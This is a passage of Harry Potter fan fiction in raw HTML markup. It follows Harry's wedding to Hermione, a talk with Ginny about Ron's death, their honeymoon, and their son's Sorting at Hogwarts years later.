Harry.&nbsp; &quot;Tell you what,&quot; he addressed the\nboy.&nbsp; &quot;After this whole shindig,\nSirius and I will sit down and tell you all you want to know about your Grandpa\nJames.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Sirius spiked his eyebrows at Harry.&nbsp; &quot;So much for my idea of sneaking off\nwith a lovely, intoxicated Muggle girl.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I remind you that you\'re not sixteen\nanymore.&quot;&nbsp; Balancing on one foot,\nHarry pulled on his freshly-polished shoe.&nbsp;\n&quot;Oh bloody hell, what do I care?&nbsp;\nHave fun.&nbsp; It\'s my...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">There was a sudden knock on the door.&nbsp; It opened a crack and Hagrid\'s large head\nappeared in the room.&nbsp; &quot;Almost\nready in \'ere?&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Just about,&quot; Harry replied.&nbsp; The butterflies stirred once more within his\nempty stomach.&nbsp; &quot;Is everyone\nelse?&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hagrid stepped inside.&nbsp;\nHe had abandoned his ancient coat for the occasion and donned a\nrelatively new set of formal robes...made out of what looked to be a\ncombination of hare and fox fur.&nbsp;\n&quot;Guests \'ave all arrived.&nbsp;\nGittin\' seated as we speak.&nbsp; An\'\nI got word from down the \'all...she\'s \'bout ready, too.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry blew out a breath as the butterflies turned into a\nswarm of killer bees.&nbsp; &quot;Wow.&nbsp; All right.&nbsp;\nThis is it.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\'ll let \'em know.&quot;&nbsp; Before leaving, Hagrid grinned from ear to ear.&nbsp; &quot;Breathe, \'arry.&nbsp; Breathe.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Easy for him to say,&quot; Sirius chuckled.&nbsp; &quot;But seriously, Harry.&nbsp; Breathe.&nbsp;\nYou\'re starting to look like maybe we shouldn\'t have let *you* eat any\nbreakfast.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Little Harry peered up at Harry as he concentrated on his\nbreathing.&nbsp; &quot;It\'s all right,\nFather.&nbsp; It\'s not raining and it\'s not\ntoo hot and Grandma Molly made chocolate squares.&nbsp; Something to look forward to afterwards, right?&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\'d imagine he\'s looking forward to something more\nthan just chocolate...&quot;&nbsp; Lupin\nstopped, catching the brunt end of a hard look from Sirius.&nbsp; He cleared his throat.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What do you mean?&quot; little Harry asked,\ncurious.&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Giving Harry\'s son a final once-over to make sure his\nclothes were properly set, Lupin patted his flaming locks.&nbsp; &quot;Cake.&nbsp;\nYour father is very much looking forward to the cake.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry?&quot;&nbsp;\nSirius opened the door.&nbsp;\n&quot;It\'s now or never.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Time seemed to stand still for a minute as Harry turned his\nhead to look out into the fourth floor hallway of the Weasley home.&nbsp; Twenty-eight years in the making, this day\npromised to be the best of all, and he included the day Hagrid had appeared and\nsingle-handedly plucked him out of hell and placed him into his real life.&nbsp; There were so many moments in between that\nstood out, too many to count.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">But the hardest ones by far had been the most recent.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Go on ahead and I\'ll...I\'ll be along.&quot;&nbsp; Harry flashed his groomsmen a weak\nsmile.&nbsp; &quot;I just need a\nminute.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Sirius nodded.&nbsp;\n&quot;Come on, kid.&quot;&nbsp; He let\nthe boy go first, Lupin second and finally, himself, but not before he turned\nto look at his godson again.&nbsp;\n&quot;Don\'t be late.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I won\'t be,&quot; Harry promised.&nbsp; &quot;Trust me.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Once he was alone, he closed his eyes.&nbsp; His shoulders were too tight to even try to\nrelax them, but he did take several more deep breaths as he thought back over\nthe past month and a half.&nbsp; He found\nhimself wandering back in time to that day in the hospital wing.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The seconds it took her to continue speaking after her\nsimple sentence that nearly drained him of all the blood in his body had ticked\nby like years.&nbsp; *I won\'t consider it,*\nshe had said.&nbsp; She might as well have\nhacked into him with an axe.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">But then, like the angel that she was, she had gone on.&nbsp; *I won\'t consider it, Harry, because I\'ve\nbeen considering it since I was sixteen years old.&nbsp; And no matter what\'s happened, or what you\'ve done, or what I\'ve\ndone...any of it...no matter what, I\'ve always known what my answer would\nbe.*&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry opened his eyes.&nbsp;\nEverything after that had been a blur.&nbsp;\nA happy blur, but a blur nonetheless.&nbsp;\nAll he had known in that moment was that everything was about to\nchange...and that it was all for the better.&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">But he hadn\'t thought about the hard realities that were to\ncome, the hardest of which had been facing Ron\'s family and telling them the\ntruth about little Harry\'s parentage.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry?&quot;&nbsp; A\nsoft voice and an even softer knock jarred him out of his thoughts.&nbsp; &quot;Are you decent?&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He smiled.&nbsp;\n&quot;Come on in, Ginny.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She entered, looking magically amazing for a woman who had\ngiven birth only a month and a half earlier and carrying a white-swaddled\nbundle in her arms.&nbsp;\n&quot;Oh...&quot;&nbsp; Her smile lit\nup her entire face.&nbsp; &quot;You look\nsmashing.&nbsp; Wait, is that a good\ncompliment for a man?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It works for me.&quot;&nbsp; He reached out to pull back a fold in the white flannel.&nbsp; A little face was nestled in the cloth, a\nsoft red curl resting on its forehead.&nbsp;\n&quot;How\'s he handling the chaos?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Pretty well, as you can see,&quot; Ginny replied,\nstroking her infant son\'s cheek.&nbsp;\n&quot;He\'s just like Ryan.&nbsp; Very\nmellow.&quot;&nbsp; She glanced up to give\nHarry another thorough look.&nbsp; &quot;You\ndon\'t know how many times I used to wish I\'d be standing next to you while you\nwere wearing something like that someday.&nbsp;\nExcept...&quot;&nbsp; She gestured to\nher loose-fitting light blue dress robes.&nbsp;\n&quot;I always imagined *I\'d* be the one wearing white.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Red colored Harry\'s cheeks from ear to ear.&nbsp; &quot;Ginny...&quot; he mumbled, tucking his\nhands under his arms.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She laughed suddenly, making little Ron jerk slightly in his\nsleep.&nbsp; &quot;And you also don\'t know\njust how much fun it is to make you blush.&quot;&nbsp; A moment passed during which Harry\'s attention seemed to slip\nfurther and further away.&nbsp;\n&quot;Harry?&nbsp; Is something the\nmatter?&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He rubbed at his eyes underneath his glasses.&nbsp; &quot;Tell me again that your parents don\'t\nhate me.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry,&quot; Ron\'s sister pursed her lips.&nbsp; &quot;Of course they don\'t hate you.&nbsp; Don\'t be silly.&nbsp; They insisted on having the wedding here, didn\'t they?&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry couldn\'t accept this and began pacing across the woven\nrug in front of the bedroom\'s fireplace.&nbsp;\n&quot;How could they not hate me?&nbsp;\nAfter everything I did...all the lies that I set in motion.&nbsp; And then having to stand in front of them and\ntell them...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;We should have all known much earlier, Harry.&nbsp; I mean, I look at him now and I think, of\ncourse he\'s your child.&nbsp; No one but you\nhas eyes like that.&nbsp; And his\nsmile...&quot;&nbsp; Ginny adjusted the\nbundle in her arms.&nbsp; &quot;But more than\nthat...I lived in same dormitory as you and Hermione during your last year at\nschool.&nbsp; I should have guessed right\naway that my brother was not the man she...&quot;&nbsp; Her voice trailed off.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hermione loved Ron,&quot; Harry said quietly.&nbsp; &quot;Believe me...I was forced to come to terms\nwith that on a rather intense scale courtesy of Vo...Malfoy.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny tilted her head to one side, silky red hair spilling\nover her shoulder.&nbsp; &quot;Is that what\'s\nreally upsetting you, Harry?&nbsp; Because\nyou know my parents adore you and will always love Harry as their grandson no\nmatter what.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry nodded all too miserably for a man about to be\nmarried.&nbsp; &quot;It\'s not so much what\nthey had together.&nbsp; It\'s\njust...&quot;&nbsp; He hesitated.&nbsp; &quot;Malfoy killed Ron.&nbsp; And if he hadn\'t done it...I wouldn\'t be\nhere today.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Oh, I see.&quot;&nbsp;\nA long moment followed as Ginny considered her next words.&nbsp; &quot;I\'m going to tell you something that\nyou might not want to hear, Harry.&nbsp; But\nI think it needs to be said.&quot;&nbsp;\nAfter drawing in a breath, she continued.&nbsp; &quot;Ron came to me once, shortly after he and Hermione were\nmarried, looking very much like you are right now.&nbsp; When I asked him what was wrong...he said, \'Ginny, she makes me\nso happy...but the only reason I get to be with her is because we don\'t have\nHarry with us anymore\'.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Ron said that?&quot;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She bobbed her head ever so slightly.&nbsp; &quot;It sometimes seems that something bad\nhas to happen in order for something good to come about.&nbsp; To have what he had with Hermione, Ron lost\nyou.&nbsp; To be with Hermione again, you\nlost Ron.&nbsp; It\'s all...mucked up and\nawful, but it\'s just life.&quot;&nbsp;\nBalancing her baby in one arm, Ginny walked forward and reached for his\nhand.&nbsp; &quot;The three of you will\nalways be tied together in spirit.&nbsp; It\'s\nsomething Draco Malfoy couldn\'t break, because it\'s something he couldn\'t understand\nif he tried for a hundred years.&nbsp; So get\nout there and marry her and don\'t even worry...because wherever he is, Ron\nwould only be happy for you.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You\'re right.&quot;&nbsp;\nHarry squeezed her fingers lightly before dropping a kiss onto her\nforehead.&nbsp; &quot;You really are the\nsmart one out of the bunch, Ginny.&quot;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron\'s sister winked at him.&nbsp;\n&quot;Oh, I know.&quot;&nbsp; She\nbacked out of the door.&nbsp; &quot;I\'ll see\nyou down there.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry stood still for another moment after she left,\ncollecting all the new thoughts in his head.&nbsp;\nWhen he couldn\'t think anymore, he took once last glance around Ron\'s\nold room.&nbsp; He was finally ready for\nwhatever came next.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">****</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">On May 15th, a pleasant spring day, in Molly Weasley\'s\nfragrant garden, with everyone who had ever been important to them in their\nlives thus far watching, Harry James Potter and Hermione Granger Weasley were\nmarried...at last, many of the guests were overheard saying.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The bride wore white silk dress robes, quite unlike the\nlovely Muggle wedding gown she had worn several years earlier.&nbsp; She carried lilies in her hands, and her\ncheeks were rosy for the first time in weeks.&nbsp;\nWhen she spoke her vows, her words were clear and precise and without\nhesitation.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">In truth, the whole thing felt like a dream to Hermione, one\nof those dreams from which you hope you never wake.&nbsp; She hadn\'t thought it was possible to love her husband-to-be\nanymore...until she saw him standing at the end of the grass-carpeted aisle,\nwaiting for her to join him.&nbsp; He was\nclearly nervous, but doing his best to hide it.&nbsp; Fortunately he had his godfather standing just behind him to give\nhim a reassuring pat on his shoulder when she started walking towards him on\nher father\'s arm.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She smiled halfway down the aisle, unable to keep it in any\nlonger.&nbsp; They were entirely surrounded\nby people who loved them.&nbsp; Their old\nclassmates from Hogwarts, their beloved teachers, friends, family.&nbsp; Their son.&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">And Ron.&nbsp; He was\nthere too, a lingering presence that was neither intrusive nor unwelcome.&nbsp; She almost felt like she could reach out and\ntake his hand.&nbsp; He would always be\nthere, she realized, watching out for her, watching out for the child he had\nloved as his own, and watching out for Harry who had, in some ways, been closer\nto him than his blood brothers.&nbsp; Her\nsmile grew brighter as she reached her fiancee.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The ceremony was simple.&nbsp;\nVows from the heart, things that should have been said years\nearlier.&nbsp; An exchange of rings, plain\nsilver for him and a single translucent pearl set into a matching band of\nsilver for her.&nbsp; Only Harry knew that\nunderneath her robes, she wore her other wedding band of gold and garnet on a\nchain next to her heart along with a pendant of rose quartz.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">When they kissed, there was a great round of applause led by\ntheir son...who had been prompted by his identical uncles.&nbsp; Molly Weasley and Hermione\'s mother both\ncried.&nbsp; Hagrid sniffed rather\nloudly.&nbsp; Dumbledore clapped, quiet\napproval and happiness in his ancient eyes.&nbsp;\nEven Snape, in the very last row, almost managed a genuine smile.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry and Hermione broke apart too soon for their liking,\nexchanging a private smile.&nbsp; &quot;I\nlove you,&quot; he whispered, touching his forehead to hers.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;Her eyes shimmered\nbrown-gold.&nbsp; &quot;I love you, too,\nHarry.&nbsp; Always.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">****&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Sixth year,&quot; Harry said out loud.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione frowned, propping her head up on her hand to look\ndown at him.&nbsp; &quot;What\'s\nthat?&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You fell asleep in the common room.&quot;&nbsp; He turned his gaze up to the white-washed\nceiling.&nbsp; &quot;Studying.&nbsp; As usual.&quot;&nbsp; She swatted him playfully.&nbsp;\n&quot;I had woken up in the middle of the night and I came downstairs to\nread...and there you were.&nbsp; Lying on the\nloveseat with your books half-open.&nbsp; You\nwere drooling a little and...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Oh, I was not!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Laughing, he caught her indignant chin in his head.&nbsp; &quot;Well, your skirt had ridden up on your\nthigh while you slept.&nbsp; And that\'s when\nI started thinking...I might like to be right here someday.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;That\'s a truly touching story, Harry,&quot; she said\ndryly.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I was sixteen years old.&nbsp; Would you have expected me to turn away without another\nthought?&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione thought for a second, smiled and laid her cheek\nback down onto his bare chest.&nbsp;\n&quot;I\'m glad you didn\'t.&quot;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A few blissful minutes passed as Harry played with a thick\nlock of her unkempt hair.&nbsp; &quot;Thank\nyou, Hermione.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;For what?&quot;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Outside, he could hear waves lapping onto the shore; the\nbungalow they occupied was the only structure on an uncharted island somewhere\nin the South Pacific, the perfect place for a magical honeymoon.&nbsp; &quot;For marrying me.&quot;&nbsp; Harry swallowed.&nbsp; &quot;For forgiving me.&quot;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Her fingers trailed up and down his ribs like delicate\nwings.&nbsp; &quot;Do you want to know the\nfirst time I thought about you...you know...sexually?&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;All right,&quot; he frowned.&nbsp; It was not the sort of response he had been expecting. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&quot;Fifth\nyear.&quot;&nbsp; Hermione smiled.&nbsp; &quot;I beat you by a year.&nbsp; Well, we were at breakfast the day of a\nQuidditch match and...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What game was it?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She gently pinched him.&nbsp;\n&quot;It\'s not important to the story, Harry.&nbsp; It\'s not even important to the story that you were wearing your\nQuidditch robes and those really form-fitting khaki...&quot;&nbsp; Shaking her self out of the memory of that\nparticular detail, she went on, &quot;What made me...want you was this.&nbsp; You had done something really minor that\nmade me kind of mad a few days earlier...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It was versus Hufflepuff,&quot; Harry cut in.&nbsp; &quot;I had accidently added too many\nlavender seeds to our potion in class and Snape gave you the worst grade you\nhad probably ever received.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You remember all of that?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He nodded.&nbsp; &quot;And\nwe beat them by mile.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione hugged his waist with her arm.&nbsp; &quot;You apologized to me, do you remember\nthat?&nbsp; In front of everyone.&nbsp; Like it really mattered to you.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It did.&nbsp; You\nwere *really* mad.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You\'ve never been one to shirk away from\nresponsibility.&nbsp; It made you so attractive\nto me that day.&nbsp; And the pants\nhelped.&quot;&nbsp; Hermione sat up to see\nhim better.&nbsp; &quot;But what happened to\nour baby...&quot;&nbsp; She slowly shook her\nhead, her long hair brushing against her bare back and shoulders.&nbsp; &quot;You can\'t keep taking all of the blame\nfor it, Harry.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He sat up too and faced off with her.&nbsp; &quot;But I was the one who...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Why do you insist on torturing yourself when there are\nso many better things we could be doing?&quot;&nbsp;\nHermione put her hands on her hips.&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\'m not ready to accept...what I did,&quot; he\nreplied, combing his hair back off his face</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Her eyes narrowed as she gave him another moment of\nself-indulgent moping.&nbsp; As soon as it\nwas up, she pulled him into a full-body kiss.&nbsp;\n&quot;Accept later.&nbsp; Live\nnow.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The sky outside had begun to be touched by the morning sun\nbefore they really spoke again.&nbsp; Harry\nkissed her soft neck and wrapped her up tighter in his arms.&nbsp; &quot;Am I going to have to buy a pair of\nQuidditch pants?&quot; he asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yes,&quot; she replied, sleepily.&nbsp; &quot;And Harry?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yeah?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You didn\'t kill our baby.&nbsp; Voldemort did.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He rested his chin on top of her soft bed of thick hair; she\nsmelled like jasmine and roses.&nbsp;\n&quot;Yeah.&quot;&nbsp; A parrot cawed\non the other side of the bamboo-shaded window.&nbsp;\n&quot;But he\'ll never get to do it to anyone else again.&quot;&nbsp; Harry reached behind and knocked on the\nhead-board.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione laughed.&nbsp;\n&quot;Good thinking.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Better safe than sorry.&quot;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">****</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The Great Hall of Hogwarts School of Witchcraft and Wizardry\nfairly hummed with energy and excitement.&nbsp;\nEach of the four immense tables, which had only hours earlier stood\nempty, were crowded with hundreds of young students in black robes and pointed\nhats.&nbsp; They were chatting, shouting,\nlaughing, giggling...waiting as patiently as possible.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry watched them all from his place at the Professor\'s\ntable.&nbsp; Not entirely unlike the\nstudents, he couldn\'t manage to keep still.&nbsp;\nHis hands were clasped in his lap, but his thumbs circled each other as\nhe fidgeted frantically.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It\'s windy out tonight,&quot; he blurted out.&nbsp; &quot;What if the boats have tipped over or\nsomething?&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione turned to her husband, amused.&nbsp; &quot;You are so adorable right\nnow.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\'m just saying...&quot;&nbsp; Harry set his hands on the table, palms down flat.&nbsp; &quot;It doesn\'t take this long to cross the\nlake.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yes, it does,&quot; she replied, covering his hand\nwith one of hers.&nbsp; &quot;He\'s perfectly\nfine, Harry.&nbsp; You saw him on the\nplatform earlier.&nbsp; He couldn\'t wait to\nditch us and get on the train.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He nodded.&nbsp; &quot;I\nknow.&quot;&nbsp; Harry shifted in his chair\nto look at his wife better.&nbsp; &quot;What\nHouse do you want to see him in?&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;The House he\'s most suited to.&quot;&nbsp; Hermione leaned forward and gave him a quick\nkiss, a gesture that did not go unnoticed throughout the Hall.&nbsp; &quot;Relax, love.&nbsp; It\'s out of our hands.&quot;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Snape tapped the back of Harry\'s chair.&nbsp; &quot;You do have an audience, in case\nyou\'ve forgotten.&quot;&nbsp; Hermione pulled\nback, a rose blush painting her cheeks.&nbsp;\nHarry threw the potions master a frown, before settling back, still\nholding Hermione\'s hand.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Just then, the huge doors on the far side of the Hall\nopened; all conversations halted and every eye turned to see approximately\nforty little people file inside.&nbsp; Each\nchild took in the floating candles, the enchanted ceiling, the intimidating\npresence of hundreds of their peers and Albus Dumbledore presiding over them\nall; their eyes grew large, most with awe, but some with fright. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They followed Professor McGonagall through the long aisle\nand gathered around the foot of the steps that led up to the High Table.&nbsp; The Sorting Hat sat on a wooden stool set\nonto the steps, looking quite like a tired old hat.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry didn\'t hear the Hat\'s song.&nbsp; All he could think about was the fact that at this exact moment\none year earlier, he\'d had nothing.&nbsp; His\nlife had just been turned upside down by the grief of learning his best friend\nwas dead, the startling knowledge that he had fathered a son who didn\'t know\nhim and the fear that Hermione could never forgive or love him again.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">His searching eyes found little Harry in the crowd of\nfirst-years.&nbsp; Although he had been in\nthe Great Hall many times, he had never seen it quite like this before.&nbsp; Awe glowed on his youthful face.&nbsp; Harry watched as his son looked at a boy\nbeside him and said something.&nbsp; The other\nchild nodded, grinning mischievously.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">**So, we\'ve just got to try on the hat!&nbsp; I\'ll kill Fred, he was going on about\nwrestling a troll.**</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Everything was better now.&nbsp;\nDifferent, but better.&nbsp; But the\nloss of his best friend would never go away.&nbsp;\nIt was even more painfully clear now, seeing his son making new\nfriends.&nbsp; Just as he had found Ron\nalmost two decades earlier.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione gripped his hand tighter.&nbsp; &quot;They\'re starting, Harry.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He blinked and concentrated on the Sorting Hat which was\nbeing placed on David Armstrong\'s head.&nbsp;\nA moment later, a new Slytherin joined his House.&nbsp; Harry and Hermione held hands as they watched\nthe Ceremony, clapping particularly hard at each new Gryffindor.&nbsp; Everything went smoothly until Professor\nMcGonagall called out, &quot;Bronson Malfoy.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Losing his father had visibly affected the blond child who\nstepped up to the Sorting Hat.&nbsp; His eyes\nno longer shone with malice and his hair was cut much shorter and spiky around\nhis face.&nbsp; He sat completely still when\nthe Hat was placed onto his head.&nbsp; There\nwas a long pause, far longer than there had been for any child so far.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;RAVENCLAW,&quot; the Hat finally announced, almost\nproudly.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Amidst much whispering and muted clapping, Harry turned to\nlook at Hermione.&nbsp; There was matching\nconfusion and shock on her face.&nbsp; But\nafter a second, she smiled.&nbsp; &quot;Life\nisn\'t a picture,&quot; she told him, softly.&nbsp;\n&quot;Things can change as they move.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry pondered her words all the way up to the second he\nheard McGonagall say, &quot;Harry Potter, Jr.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A hush had fallen over the Hall at Bronson\'s name, but dead\nsilence blanketed it at this.&nbsp; Harry sat\nup straighter, his heart thumping practically in his throat.&nbsp; Hermione\'s hand was suddenly cold as she too\nleaned forward a bit.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The only person in the Hall who didn\'t seem affected by his\nname was little Harry himself.&nbsp; With a\nslightly nervous smile, he approached the stool and allowed the Hat to settle\nonto his red head.&nbsp; </p>\n\n<p 